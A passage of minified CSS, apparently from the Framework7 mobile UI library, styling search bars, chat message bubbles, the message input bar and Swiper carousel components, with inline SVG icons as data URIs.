.searchbar-icon{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M15.5%2014h-.79l-.28-.27C15.41%2012.59%2016%2011.11%2016%209.5%2016%205.91%2013.09%203%209.5%203S3%205.91%203%209.5%205.91%2016%209.5%2016c1.61%200%203.09-.59%204.23-1.57l.27.28v.79l5%204.99L20.49%2019l-4.99-5zm-6%200C7.01%2014%205%2011.99%205%209.5S7.01%205%209.5%205%2014%207.01%2014%209.5%2011.99%2014%209.5%2014z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .searchbar-disable-button{-webkit-transform:rotate(-90deg) scale(.5);transform:rotate(-90deg) scale(.5);font-size:0!important;display:block;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23737373'%2F%3E%3C%2Fsvg%3E")}.md .searchbar-disable-button:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .searchbar-disable-button.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .searchbar-enabled .searchbar-disable-button{-webkit-transform:rotate(0) scale(1);transform:rotate(0) scale(1);pointer-events:auto;opacity:1}.md .searchbar-enabled .searchbar-icon{opacity:0;-webkit-transform:rotate(90deg) scale(.5);transform:rotate(90deg) scale(.5)}.md .searchbar .input-clear-button{width:48px;height:48px;margin-top:-24px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E");border-radius:0;background-repeat:no-repeat;background-position:center;background-size:24px 24px;background-color:transparent;right:0}.md .searchbar .input-clear-button:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .searchbar .input-clear-button.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .searchbar .input-clear-button:after{display:none}.md .searchbar .input-clear-button:before{margin-left:0;margin-top:0}.md .page-content .searchbar{border-radius:2px;margin:8px;width:auto;-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}.md .page-content .searchbar .searchbar-inner{border-radius:2px}.md .page>.searchbar{z-index:510}.md .page>.searchbar:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .page>.searchbar.no-shadow:after{display:none}.md .page>.searchbar input[type=search],.md .page>.searchbar input[type=text],.md .searchbar-expandable input[type=search],.md .searchbar-expandable input[type=text],.md .subnavbar .searchbar input[type=search],.md .subnavbar .searchbar input[type=text]{padding-left:73px}.md .page>.searchbar .searchbar-disable-button,.md .page>.searchbar .searchbar-icon,.md .searchbar-expandable .searchbar-disable-button,.md .searchbar-expandable .searchbar-icon,.md .subnavbar .searchbar .searchbar-disable-button,.md .subnavbar .searchbar .searchbar-icon{left:4px}.md .searchbar-expandable{width:56px;height:100%;opacity:0;top:50%;margin-top:-28px;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);left:100%;margin-left:-56px}.md .navbar .searchbar-expandable{border-radius:28px;width:56px;margin-top:-28px;margin-left:-56px}@media (min-width:768px){.md .navbar .searchbar-expandable{border-radius:32px;width:64px;margin-top:-32px;margin-left:-64px}}.md .subnavbar .searchbar-expandable,.md .toolbar .searchbar-expandable{border-radius:24px;width:48px;margin-top:-24px;margin-left:-48px}.md .tabbar-labels .searchbar-expandable{border-radius:36px;width:72px;margin-top:-36px;margin-left:-72px}.md .searchbar-expandable.searchbar-enabled{width:100%;border-radius:0;opacity:1;pointer-events:auto;top:0;margin-top:0;left:0;margin-left:0}.md .page>.searchbar~* .page-content,.md .page>.searchbar~.page-content{padding-top:48px}.md .page>.navbar~.searchbar{top:56px}@media (min-width:768px){.md .page>.navbar~.searchbar{top:64px}}.md .page>.navbar~.searchbar~* .page-content,.md .page>.navbar~.searchbar~.page-content{padding-top:104px}@media (min-width:768px){.md .page>.navbar~.searchbar~* .page-content,.md .page>.navbar~.searchbar~.page-content{padding-top:112px}}.md .page>.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar{top:48px}.md .page>.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~* .page-content,.md .page>.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~.page-content{padding-top:96px}.md .page>.tabbar-labels:not(.toolbar-bottom-md)~.searchbar{top:72px}.md .page>.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~* .page-content,.md .page>.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~.page-content{padding-top:120px}.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar{top:104px}@media (min-width:768px){.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar{top:112px}}.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~* .page-content,.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~.page-content{padding-top:152px}@media (min-width:768px){.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~* .page-content,.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~.page-content{padding-top:160px}}.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar{top:128px}@media (min-width:768px){.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar{top:136px}}.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~* .page-content,.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~.page-content{padding-top:176px}@media (min-width:768px){.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~* .page-content,.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~.page-content{padding-top:184px}}@media (orientation:landscape){.md.device-iphone-x .ios-edges .searchbar-inner,.md.device-iphone-x .ios-left-edge .searchbar-inner,.md.device-iphone-x .panel-left .searchbar-inner,.md.device-iphone-x .popup .searchbar-inner,.md.device-iphone-x .sheet-modal .searchbar-inner{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .searchbar-disable-button,.md.device-iphone-x .ios-left-edge .searchbar-disable-button,.md.device-iphone-x .panel-left .searchbar-disable-button,.md.device-iphone-x .popup .searchbar-disable-button,.md.device-iphone-x .sheet-modal .searchbar-disable-button{left:calc(4px + constant(safe-area-inset-left));left:calc(4px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .searchbar-inner,.md.device-iphone-x .ios-right-edge .searchbar-inner,.md.device-iphone-x .panel-right .searchbar-inner,.md.device-iphone-x .popup .searchbar-inner,.md.device-iphone-x .sheet-modal .searchbar-inner{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}}.messages{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;min-height:100%;position:relative;z-index:1}.messages-title{text-align:center;width:100%;line-height:1}.message{max-width:70%;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end;position:relative;z-index:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.message-avatar{border-radius:50%;position:relative;background-size:cover;-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.message-content{position:relative;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.message-footer,.message-header,.message-name{line-height:1;font-size:12px}.message-footer{font-size:11px;margin-bottom:-1em}.message-bubble{-webkit-box-sizing:border-box;box-sizing:border-box;word-break:break-word;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;position:relative;line-height:1.2}.message-image img{display:block;max-width:100%;height:auto;width:auto}.message-text-footer,.message-text-header{font-size:12px;line-height:1}.message-text{text-align:left}.message-sent{text-align:right;-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end}.message-received{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row}.message-received .message-content{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.message-sent .message-content{-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end}.message:not(.message-last) .message-avatar{opacity:0}.message:not(.message-first) .message-name{display:none}.message.message-same-name .message-name{display:none}.message.message-same-header .message-header{display:none}.message.message-same-footer .message-footer{display:none}.message-appear-from-bottom{-webkit-animation:message-appear-from-bottom .3s;animation:message-appear-from-bottom .3s}.message-appear-from-top{-webkit-animation:message-appear-from-top .3s;animation:message-appear-from-top .3s}.message-typing-indicator{display:inline-block;font-size:0;vertical-align:middle}.message-typing-indicator>div{display:inline-block;position:relative;background:#000;vertical-align:middle;border-radius:50%}@-webkit-keyframes message-appear-from-bottom{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes message-appear-from-bottom{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes message-appear-from-top{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes message-appear-from-top{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.md .messages,.md .messages-content{background:#eee}.md .message{margin-top:16px}.md .message:last-child{margin-bottom:16px}.md .messages-title{font-size:12px;color:rgba(0,0,0,.51);margin-top:16px}.md .messages-title:last-child{margin-bottom:16px}.md .messages-title b{font-weight:500}.md .message-avatar{width:32px;height:32px}.md .message-footer,.md .message-header,.md .message-name{color:rgba(0,0,0,.51)}.md .message-footer b,.md .message-header b,.md .message-name b{font-weight:500}.md .message-header,.md .message-name{margin-bottom:2px}.md .message-footer{margin-top:2px}.md .message-bubble{font-size:16px;border-radius:2px;padding:6px 8px;min-height:32px}.md .message-text-footer,.md .message-text-header{color:rgba(0,0,0,.51)}.md .message-text-header{margin-bottom:4px}.md .message-text-footer{margin-top:4px}.md .message-received{margin-left:8px}.md .message-received .message-bubble{color:#333;background:#fff}.md .message-received .message-avatar+.message-content{margin-left:8px}.md .message-received.message-tail .message-bubble{border-radius:2px 2px 2px 0}.md .message-received.message-tail .message-bubble:before{position:absolute;content:'';border-left:8px solid transparent;border-right:0 solid transparent;border-bottom:8px solid #fff;right:100%;bottom:0;width:0;height:0}.md .message-sent{margin-right:8px}.md .message-sent .message-bubble{color:#333;background:#c8e6c9}.md .message-sent .message-avatar+.message-content{margin-right:8px}.md .message-sent.message-tail .message-bubble{border-radius:2px 2px 0 2px}.md .message-sent.message-tail .message-bubble:before{position:absolute;content:'';border-right:8px solid transparent;border-left:0 solid transparent;border-bottom:8px solid #c8e6c9;left:100%;bottom:0;width:0;height:0}.md .message+.message:not(.message-first){margin-top:8px}.md .message-typing-indicator>div{width:6px;height:6px;opacity:.6}.md .message-typing-indicator>div+div{margin-left:6px}.md .message-typing-indicator>div:nth-child(1){-webkit-animation:md-message-typing-indicator .9s infinite;animation:md-message-typing-indicator .9s infinite}.md .message-typing-indicator>div:nth-child(2){-webkit-animation:md-message-typing-indicator .9s 150ms infinite;animation:md-message-typing-indicator .9s 150ms infinite}.md .message-typing-indicator>div:nth-child(3){-webkit-animation:md-message-typing-indicator .9s .3s infinite;animation:md-message-typing-indicator .9s .3s infinite}.md .theme-dark .messages,.md .theme-dark .messages-content,.messages-content.md .theme-dark,.messages.md .theme-dark{background-color:transparent}.md .theme-dark .messages-title{color:rgba(255,255,255,.54)}.md .theme-dark .message-footer,.md .theme-dark .message-header,.md .theme-dark .message-name{color:rgba(255,255,255,.54)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .message-received,.md.device-iphone-x .ios-left-edge .message-received,.md.device-iphone-x .panel-left .message-received,.md.device-iphone-x .popup .message-received,.md.device-iphone-x .sheet-modal .message-received{margin-left:calc(8px + constant(safe-area-inset-left));margin-left:calc(8px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .message-sent,.md.device-iphone-x .ios-right-edge .message-sent,.md.device-iphone-x .panel-right .message-sent,.md.device-iphone-x .popup .message-sent,.md.device-iphone-x .sheet-modal .message-sent{margin-right:calc(8px + constant(safe-area-inset-right));margin-right:calc(8px + env(safe-area-inset-right))}}@-webkit-keyframes md-message-typing-indicator{0%{-webkit-transform:translateY(0);transform:translateY(0)}25%{-webkit-transform:translateY(-5px);transform:translateY(-5px)}50%{-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes md-message-typing-indicator{0%{-webkit-transform:translateY(0);transform:translateY(0)}25%{-webkit-transform:translateY(-5px);transform:translateY(-5px)}50%{-webkit-transform:translateY(0);transform:translateY(0)}}.toolbar.messagebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);background:#fff;height:auto}.toolbar.messagebar .toolbar-inner{position:relative}.toolbar.messagebar .messagebar-area{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;overflow:hidden;position:relative}.toolbar.messagebar textarea{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1}.toolbar.messagebar a.link{-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.messagebar-attachments{width:100%;overflow:auto;-webkit-overflow-scrolling:touch;font-size:0;white-space:nowrap;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative}.messagebar:not(.messagebar-attachments-visible) .messagebar-attachments{display:none}.messagebar-attachment{background-size:cover;background-position:center;background-repeat:no-repeat;display:inline-block;vertical-align:middle;white-space:normal;height:155px;position:relative}@media (orientation:landscape){.messagebar-attachment{height:120px}}.messagebar-attachment img{display:block;width:auto;height:100%}.messagebar-attachment+.messagebar-attachment{margin-left:8px}.messagebar-sheet{overflow:auto;-webkit-overflow-scrolling:touch;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-align-content:flex-start;-ms-flex-line-pack:start;align-content:flex-start;height:252px}@media (orientation:landscape){.messagebar-sheet{height:192px}}.messagebar-sheet-image,.messagebar-sheet-item{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;margin-top:1px;position:relative;overflow:hidden;height:125px;width:125px;margin-left:1px}@media (orientation:landscape){.messagebar-sheet-image,.messagebar-sheet-item{width:95px;height:95px}}.messagebar-sheet-image .icon-checkbox,.messagebar-sheet-image .icon-radio,.messagebar-sheet-item .icon-checkbox,.messagebar-sheet-item .icon-radio{position:absolute;right:8px;bottom:8px}.messagebar-sheet-image{background-size:cover;background-position:center;background-repeat:no-repeat}.messagebar-attachment-delete{display:block;position:absolute;border-radius:50%;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer;-webkit-box-shadow:0 0 2px rgba(0,0,0,.2);box-shadow:0 0 2px rgba(0,0,0,.2)}.messagebar-attachment-delete:after,.messagebar-attachment-delete:before{position:absolute;content:'';left:50%;top:50%}.messagebar-attachment-delete:after{-webkit-transform:rotate(45deg);transform:rotate(45deg)}.messagebar-attachment-delete:before{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.messagebar:not(.messagebar-sheet-visible) .messagebar-sheet{display:none}.ios.device-iphone-x .messagebar:not(.messagebar-top),.md.device-iphone-x .messagebar:not(.messagebar-top){height:auto!important}.ios.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible),.md.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible){padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.ios.device-iphone-x .messagebar-sheet,.md.device-iphone-x .messagebar-sheet{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left);padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right);padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.md .messagebar{font-size:16px}.md .messagebar:after{display:none}.md .messagebar textarea{padding:5px 8px;height:32px;color:#333;font-size:16px;line-height:22px}.md .messagebar a.link{color:#333}.md .messagebar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .messagebar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .messagebar:before{content:'';position:absolute;background-color:#d1d1d1;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .messagebar:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .messagebar:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .messagebar-attachments{padding:8px;border-bottom:1px solid #ddd}.md .messagebar-area{margin-top:8px;margin-bottom:8px}.md .messagebar-sheet{background:#fff}.md .messagebar-sheet-image .icon-checkbox,.md .messagebar-sheet-item .icon-checkbox{border-color:#fff;background:rgba(255,255,255,.25);-webkit-box-shadow:0 0 10px rgba(0,0,0,.5);box-shadow:0 0 10px rgba(0,0,0,.5)}.md .messagebar-attachment-delete{right:8px;top:8px;width:24px;height:24px;background:#2196f3;cursor:pointer;border-radius:2px}.md .messagebar-attachment-delete:after,.md .messagebar-attachment-delete:before{width:14px;height:2px;background:#fff;margin-left:-7px;margin-top:-1px}.md .theme-dark .messagebar,.messagebar.md .theme-dark{background:#000}.md .theme-dark .messagebar:before,.messagebar.md .theme-dark:before{background-color:rgba(255,255,255,.2)}.md .theme-dark .messagebar a.link,.messagebar.md .theme-dark a.link{color:rgba(255,255,255,.87)}.md .theme-dark .messagebar a.link:before,.messagebar.md .theme-dark a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .theme-dark .messagebar a.link.active-state:before,.messagebar.md .theme-dark a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .theme-dark .messagebar textarea,.messagebar.md .theme-dark textarea{color:rgba(255,255,255,.87)}.md .theme-dark .messagebar-attachments{border-bottom-color:rgba(255,255,255,.2)}.swiper-container{margin:0 auto;position:relative;overflow:hidden;list-style:none;padding:0;z-index:1}.swiper-container-no-flexbox .swiper-slide{float:left}.swiper-container-vertical>.swiper-wrapper{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.swiper-wrapper{position:relative;width:100%;height:100%;z-index:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-box-sizing:content-box;box-sizing:content-box}.swiper-container-android .swiper-slide,.swiper-wrapper{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.swiper-container-multirow>.swiper-wrapper{-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap}.swiper-container-free-mode>.swiper-wrapper{-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out;margin:0 auto}.swiper-slide{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;width:100%;height:100%;position:relative;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.swiper-invisible-blank-slide{visibility:hidden}.swiper-container-autoheight,.swiper-container-autoheight .swiper-slide{height:auto}.swiper-container-autoheight .swiper-wrapper{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start;-webkit-transition-property:height,-webkit-transform;transition-property:height,-webkit-transform;transition-property:transform,height;transition-property:transform,height,-webkit-transform}.swiper-container-3d{-webkit-perspective:1200px;perspective:1200px}.swiper-container-3d .swiper-cube-shadow,.swiper-container-3d .swiper-slide,.swiper-container-3d .swiper-slide-shadow-bottom,.swiper-container-3d .swiper-slide-shadow-left,.swiper-container-3d .swiper-slide-shadow-right,.swiper-container-3d .swiper-slide-shadow-top,.swiper-container-3d .swiper-wrapper{-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.swiper-container-3d .swiper-slide-shadow-bottom,.swiper-container-3d .swiper-slide-shadow-left,.swiper-container-3d .swiper-slide-shadow-right,.swiper-container-3d .swiper-slide-shadow-top{position:absolute;left:0;top:0;width:100%;height:100%;pointer-events:none;z-index:10}.swiper-container-3d .swiper-slide-shadow-left{background-image:-webkit-gradient(linear,right top,left top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(right,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to left,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-right{background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(left,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to right,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-top{background-image:-webkit-gradient(linear,left bottom,left top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(bottom,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to top,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-bottom{background-image:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(top,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to bottom,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-wp8-horizontal,.swiper-container-wp8-horizontal>.swiper-wrapper{-ms-touch-action:pan-y;touch-action:pan-y}.swiper-container-wp8-vertical,.swiper-container-wp8-vertical>.swiper-wrapper{-ms-touch-action:pan-x;touch-action:pan-x}.swiper-container .swiper-notification{position:absolute;left:0;top:0;pointer-events:none;opacity:0;z-index:-1000}.swiper-container-coverflow .swiper-wrapper{-ms-perspective:1200px}.swiper-container-cube{overflow:visible}.swiper-container-cube .swiper-slide{pointer-events:none;-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:1;visibility:hidden;-webkit-transform-origin:0 0;transform-origin:0 0;width:100%;height:100%}.swiper-container-cube .swiper-slide .swiper-slide{pointer-events:none}.swiper-container-cube.swiper-container-rtl .swiper-slide{-webkit-transform-origin:100% 0;transform-origin:100% 0}.swiper-container-cube .swiper-slide-active,.swiper-container-cube .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-container-cube .swiper-slide-active,.swiper-container-cube .swiper-slide-next,.swiper-container-cube .swiper-slide-next+.swiper-slide,.swiper-container-cube .swiper-slide-prev{pointer-events:auto;visibility:visible}.swiper-container-cube .swiper-slide-shadow-bottom,.swiper-container-cube .swiper-slide-shadow-left,.swiper-container-cube .swiper-slide-shadow-right,.swiper-container-cube .swiper-slide-shadow-top{z-index:0;-webkit-backface-visibility:hidden;backface-visibility:hidden}.swiper-container-cube .swiper-cube-shadow{position:absolute;left:0;bottom:0;width:100%;height:100%;background:#000;opacity:.6;-webkit-filter:blur(50px);filter:blur(50px);z-index:0}.swiper-container-fade.swiper-container-free-mode .swiper-slide{-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out}.swiper-container-fade .swiper-slide{pointer-events:none;-webkit-transition-property:opacity;transition-property:opacity}.swiper-container-fade .swiper-slide .swiper-slide{pointer-events:none}.swiper-container-fade .swiper-slide-active,.swiper-container-fade .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-container-flip{overflow:visible}.swiper-container-flip .swiper-slide{pointer-events:none;-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:1}.swiper-container-flip .swiper-slide .swiper-slide{pointer-events:none}.swiper-container-flip .swiper-slide-active,.swiper-container-flip .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-container-flip .swiper-slide-shadow-bottom,.swiper-container-flip .swiper-slide-shadow-left,.swiper-container-flip .swiper-slide-shadow-right,.swiper-container-flip .swiper-slide-shadow-top{z-index:0;-webkit-backface-visibility:hidden;backface-visibility:hidden}.swiper-scrollbar{border-radius:10px;position:relative;-ms-touch-action:none;background:rgba(0,0,0,.1)}.swiper-container-horizontal>.swiper-scrollbar{position:absolute;left:1%;bottom:3px;z-index:50;height:5px;width:98%}.swiper-container-vertical>.swiper-scrollbar{position:absolute;right:3px;top:1%;z-index:50;width:5px;height:98%}.swiper-scrollbar-drag{height:100%;width:100%;position:relative;background:rgba(0,0,0,.5);border-radius:10px;left:0;top:0}.swiper-scrollbar-cursor-drag{cursor:move}.swiper-scrollbar-lock{display:none}.swiper-zoom-container{width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;text-align:center}.swiper-zoom-container>canvas,.swiper-zoom-container>img,.swiper-zoom-container>svg{max-width:100%;max-height:100%;-o-object-fit:contain;object-fit:contain}.swiper-slide-zoomed{cursor:move}.swiper-button-next,.swiper-button-prev{position:absolute;top:50%;width:27px;height:44px;margin-top:-22px;z-index:10;cursor:pointer;background-size:27px 44px;background-position:center;background-repeat:no-repeat}.swiper-button-next.swiper-button-disabled,.swiper-button-prev.swiper-button-disabled{opacity:.35;cursor:auto;pointer-events:none}.swiper-button-prev,.swiper-container-rtl .swiper-button-next{left:10px;right:auto}.swiper-button-next,.swiper-container-rtl 